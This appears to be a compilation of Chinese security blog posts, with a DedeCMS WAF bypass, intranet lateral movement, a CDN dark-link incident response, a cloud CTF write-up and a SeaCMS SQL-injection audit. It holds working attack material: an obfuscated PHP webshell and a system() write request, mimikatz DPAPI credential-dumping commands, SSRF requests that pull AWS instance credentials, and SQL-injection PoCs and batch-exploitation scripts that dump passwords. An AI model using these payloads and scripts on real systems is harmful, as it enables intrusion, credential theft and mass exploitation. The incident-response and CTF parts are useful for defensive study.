isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa Connection: keep-alive fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++ 但是发现 所以准备调试分析一手 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) {    $value = str_replace(" ", "", $value);    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } 发现原因是因为有 waf 直接交给一个聪明朋友 移除多行注释 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); 防止攻击者把危险代码写在注释中来绕过检测。 危险函数与变量过滤 $cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...'; 匹配并拦截使用了以下内容的代码: 系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等 全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS 动态函数调用:call_user_func, create_function, 等 一旦匹配:直接终止执行并提示危险代码。 PHP 标签与代码执行行为检测 感觉过滤还是挺严格的 绕过 waf 到 RCE 直接掏出上次的 webshell,稍微修改一下就 ok 了 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 原理上次大概讲过了,就是自动触发 详情可以看到蚁景网络安全这个公众号 https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台 然后我们访问首页 成功弹出计算器
记一次内网横向破解管理员密码
前言 本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。 外网打点 首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测 httpx 测活一下 测完活之后,搞波指纹 指纹到手,这边一般我都是拿高危指纹去漏扫一下 然后找到了一个站点 GETshell 之后找到了一个站点 直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波 发现竟然有 /api/actuator 泄露,这个利用的手法很多 先遍历访问一下常见的接口 但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到 决定溜了的时候发现 bp 我的 dns 平台传来了动静 竟然有 log4j 呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了 CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令 07/23 15:13:23 beacon> shell whoami 07/23 15:13:23 [*] Tasked beacon to run: whoami 07/23 15:13:23 [+] host called home, sent: 37 bytes 07/23 15:13:23 [+] received output: xxxxxx\administrator 内网启动 内网信息收集 首先简单看下内网的网段 找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了 随便 arp-a 看了一下 发现 c 段的主机还是很多的 systeminfo win2012 的用户,不过已经是高权限了,也没有必要提权了 然后我发现在域的时候我就先不管了,先找找凭据 凭据收集 这里没有抓取到密码 然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的 突破 当时因为还拿下了一台主机,而且是同一个内网的 查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制 MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙” 流程 [ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey       ↓ [ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据       ↓ [ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c} Time     : 2025/2/4 0:23:08 MasterKey : aed5fc1156359826c231e1079996c769cf1ee... sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7 Master Key Files 存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。 当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间 我这里去寻找一下 amdin 的凭证 直接拿最新的那个 然后去获取 guid 之后通过这个 guid,我们去寻找 masterkey 首先需要把全部的 masterkey 找出来 mimikatz sekurlsa::dpapi sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件 因为内容很多,直接把结果复制到记事本 然后搜索一下 太好了,找到了,然后我们直接去破解 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 直接获取到了管理员的密码 而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码 远程其他网段的桌面 利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下: 在打开特定页面才会触发; 在特定页面也无法准确复现,尝试好一会才能复现两次; 前场同事使用的是iOS,然后其他人使用Android也可以复现; 我使用浏览器和微信浏览器打开,难以复现; 在对应服务器上未找到其音频文件; 目前使用特定运营商网络可以复现; 0x02分析 在获取目前这些信息后,有几个猜想思路: 在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放; 接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。 但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接: 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求: 果然。在burp里面发现了奇怪的mp4文件链接。 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。 那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。 0x03溯源 由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看: 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。 那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。 最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题: 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接: 访问jsjiami.com,尝试解密: 结果不可逆!!! 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊! 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。 0x04结尾 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景 经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行,没有权限,所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了,可以使用一些工具,比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2 我们首先获取 token,使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token,我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了,我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限,我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限,不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC,不过我们可以验证一下 但是刚刚都读取成功了,大概率是在的 没办法,只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容: 一个 Amazon S3 存储桶 对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名) HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等) 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息,查看权限 列取文件位置 vpc 限制,来联想 proxy 403,考虑预签名 URL 授予 行云流水
浅谈代码审计+漏洞批量一把梭哈思路
前言 最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。 工具介绍 项目地址 https://github.com/W01fh4cker/Serein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。 具体使用方法下面会介绍 漏洞样本 本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的 这里给出审计的过程 /js/player/dmplayer/dmku/index.php 未授权 sql 注入 这个相比于上一个来说是危害更大,因为不需要登录 admin 用户 确实是 sleep 了,说明漏洞存在,我们看到代码 if ($_GET['ac'] == "edit") {    $cid = $_POST['cid'] ?: showmessage(-1, null);    $data = $d->编辑弹幕($cid) ?:  succeedmsg(0, '完成');    exit; } 我们跟进编辑弹幕方法 一路来到 public static function 编辑_弹幕($cid)   {        try {            global $_config;            $text = $_POST['text'];            $color = $_POST['color'];            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);                        $sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";            $result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";            $conn->query($sql);            $conn->query($result);       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤 所以导致 sql 注入 还有我们看到当 ac=del,type=list 的时候 else if ($_GET['ac'] == "del") {        $id = $_GET['id'] ?: succeedmsg(-1, null);        $type = $_GET['type'] ?: succeedmsg(-1, null);        $data = $d->删除弹幕($id) ?: succeedmsg(0, []);        succeedmsg(23, true); 进入删除弹幕($id) public function 删除弹幕($id)   {        //sql::插入_弹幕($data);        sql::删除_弹幕数据($id);   } 进入 sql::删除_弹幕数据($id); public static function 删除_弹幕数据($id)   {        try {            global $_config;            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);            $conn->set_charset('utf8');            if ($_GET['type'] == "list") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";                $conn->query($sql);                $conn->query($result);           } else if ($_GET['type'] == "report") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $conn->query($sql);           }       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询 漏洞验证 POC GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1 Host: seacms:8181 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM Connection: keep-alive 效果如图,可以发现确实延迟了 6 秒 工具利用过程 首先就是看工具的逻辑是如何添加漏洞的 首先看主文件 代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下 需要你进入工具的时候配置邮箱和 key def fofa_saveit_first():    email = fofa_text1.get()    key = fofa_text2.get()    with open("fofa配置.conf","a+") as f:        f.write(f"[data]\nemail={email}\nkey={key}")        f.close()    showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")    text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")    text3.see(END)    fofa_info.destroy() def fofa_saveit_twice():    global email_r,key_r    if not os.path.exists("fofa配置.conf"):        fofa_saveit_first()    else:        email_r = getFofaConfig("data", "email")        key_r = getFofaConfig("data", "key") def fofa_info():    global fofa_info,fofa_text1,fofa_text2,fofa_text3    fofa_info = tk.Tk()    fofa_info.title("fofa配置")    fofa_info.geometry('230x100')    fofa_info.resizable(0, 0)    fofa_info.iconbitmap('logo.ico')    fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")    fofa_text1 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_email)    fofa_text1.grid(row=0, column=1, padx=5, pady=5)    fofa_key = tk.StringVar(fofa_info,value="填email对应的key")    fofa_text2 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_key)    fofa_text2.grid(row=1, column=1, padx=5, pady=5)    button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, bootstyle="info")    button1.grid(row=2, column=1, padx=5, pady=5)    fofa_info.mainloop() 使用 fofa 的处理流程 后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能 然后下面是脚本调用逻辑 因为一个漏洞是需要你自己写一个 python 脚本的 然后加入你自己自定义的漏洞是在 这个逻辑应该很好理解,比如我的就是 button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,bootstyle="primary") button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5) 然后就是写对应的利用脚本了 因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的 工具自带了许许多多的利用脚本,我们看一下如何仿写 比如 zabbix_sql.py import requests import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * """ Zabbix ‘popup.php’SQL注入漏洞 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017 Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。 """ def zabbix_sql_exp(url):    poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""    target_url = url + poc    status_str = ['Administrator', 'User']    try:        res = requests.get(url, Verify=False,timeout=3)        if res.status_code == 200:            target_url_payload = f"{target_url}"            res = requests.get(url=target_url_payload,Verify=False)            if res.status_code == 200:                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")            else:                target_url = url + '/zabbix/' + poc                res = requests.get(url=target_url,verify=False)                for i in range(len(status_str)):                    if status_str[i] in res.text:      